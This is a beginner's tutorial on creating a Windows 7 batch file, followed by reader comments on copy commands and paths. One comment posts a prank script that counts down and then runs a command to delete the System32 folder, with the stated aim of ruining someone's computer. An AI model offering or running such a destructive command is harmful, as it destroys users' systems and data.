How to create a batch file in Windows 7


This article explains how to create a batch file in Windows operating system which is used to execute a batch of Dos and as well as windows command.

How to create a batch file in Windows 7


Windows provides so many options in order to improve the performance and usability of the system. Most of the utilities which is provided by Windows operating system can be run from command prompt. All of the utilities can be run as a command.

Batch files can be used to make a set of command to execute in Windows operating system. Support if you want to do series of activities in Windows then you can add all the commands in a batch files and it will executes all the command one by one. It is one of the easy ways to automate a process in Windows operating system.

You can add the system command in the batch processes and you can run the processes in specific time using the scheduler.

You can automate an administrator task in batch file easily. Batch files are simple text file which will have some basic dos command and you can also run the system command that you can run in Windows command prompt.

In order to create a sample batch file open notepad and type the following command and save the file as Test.bat

ECHO OFF
Dir
PAUSE
Ipconfig
Pause
Cleanmgr

Check the below screenshot

Windows 7 batch file

ECHO OFF is DOS( Disk Operating System) command and while running the commands in the command prompt it will not show the command that is executing. Dir will just list the files and folders in the directory.Pause will wait for the user input, press enter key of other key to continue. Ipconfig is a Windows command which will display the network configuration of the system.Cleanmgr is a Windows utility command which will open the disk clean manager Window.

Once the batch file is created and you can double click the batch file using the mouse and it will start executing the series of Dos commands and other command that you typed in the Batch File

Windows 7 batch file

Check the list of DOS commands from the below link

Click here for the List of DOS Command


Related Articles

Windows 7 parental control feature: A review

This article explains the Parent control feature of Windows 7 which allows to the login access to the computer for certain hours per day, blocking specific games or program for a specific user

Windows 7 Firewall features

This article explains Windows 7 firewall's new and enhanced features which gives more control on Firewall and includes multiple profiles for each connection type.

How to install Windows 7 Professional operating system in your home desktop or laptop

Are you looking for installation guide of Windows 7 Professional operating system. Windows 7 is an operating system created by Microsoft to be installed on computers and laptops. In this article, I have given detailed steps about how to install Windows 7 in your home PC. Read this article to know the details about installation guide of Windows 7 Professional operating system.

More articles: Windows 7 Windows in windows 7 Windows Operating System

Comments

Author: Dev Tyagi06 Mar 2011 Member Level: Silver   Points : 0

nice article

Guest Author: Carlo14 Nov 2011

I have a batch file which was running on XP and Vista but will not run on Win 7. Why?

Guest Author: Roger18 Sep 2012

It's much easier to create batch files with a special tool called Dr.Batcher: http://www.drbatcher.com

Guest Author: Matt07 Jan 2014

Dr. Batcher isn't free, and batch files are easy enough to edit using notepad.

Guest Author: Naresh21 Feb 2014

Batch files are easy to enough to edit using notepad.
But what is the solution to problem that it does not run in Windows 7. I can not run my batch file in Windows 7

Guest Author: Naresh21 Feb 2014

Now I managed to run batch file in Windows 7.
But when I try to copy file from folder in to another folder by using following copy command in my batch file,

copy M:\XY_Que flats.doc Q:\01 Data flatscopy.doc
Where M: is Directory and flats.com is word file
And Q: is directory and 01 data is subdirectory
And flatscopy is new name for the copied file

It gives me following error
"The system can not find the file specified"
or
"The syntax of the command is incorrect"

Could some one please explain what is in correct in my copy command?

Guest Author: Destr0yerV11 Mar 2014

This is cool, but lame, i wanted more detailed info, like things you can do with them, here is an example:
@echo off
color 2
start BOOM
echo Your System32 file will self-destruct in 10 seconds
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 10
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 9
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 8
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 7
color 6
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 6
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 5
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 4
color 4
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 3
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 2
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo 1
PING 1.1.1.1 -n 1 -w 1000 >NUL
echo BOOMBOOMBOOM
del C:\Windows\System32 /q
PAUSE

This makes a nice little countdown before ruining thier computer operating system

Guest Author: Colin28 Mar 2014

Naresh - one of the path names has a space in it so you will need to enclose it in quotes:
copy M:\XY_Que flats.doc "Q:\01 Data" flatscopy.doc

Guest Author: brettw31 Mar 2014

Naresh - you need to type the full path instead of using drive mappings. Foe example if M:\ = \\myotherPC\fileDirectory\XY_Que Flats.doc , then replace M:\ with the full path.

Guest Author: chike emelifonwu04 Apr 2014

How do you write a batch script to show if a computer is connected to the internet or not for Windows 7?

Guest Author: sql01031 Oct 2014

Thanks for the article. Helpful!!



  • Do not include your name, "with regards" etc in the comment. Write detailed comment, relevant to the topic.
  • No HTML formatting and links to other web sites are allowed.
  • This is a strictly moderated site. Absolutely no spam allowed.
  • Name:
    Email: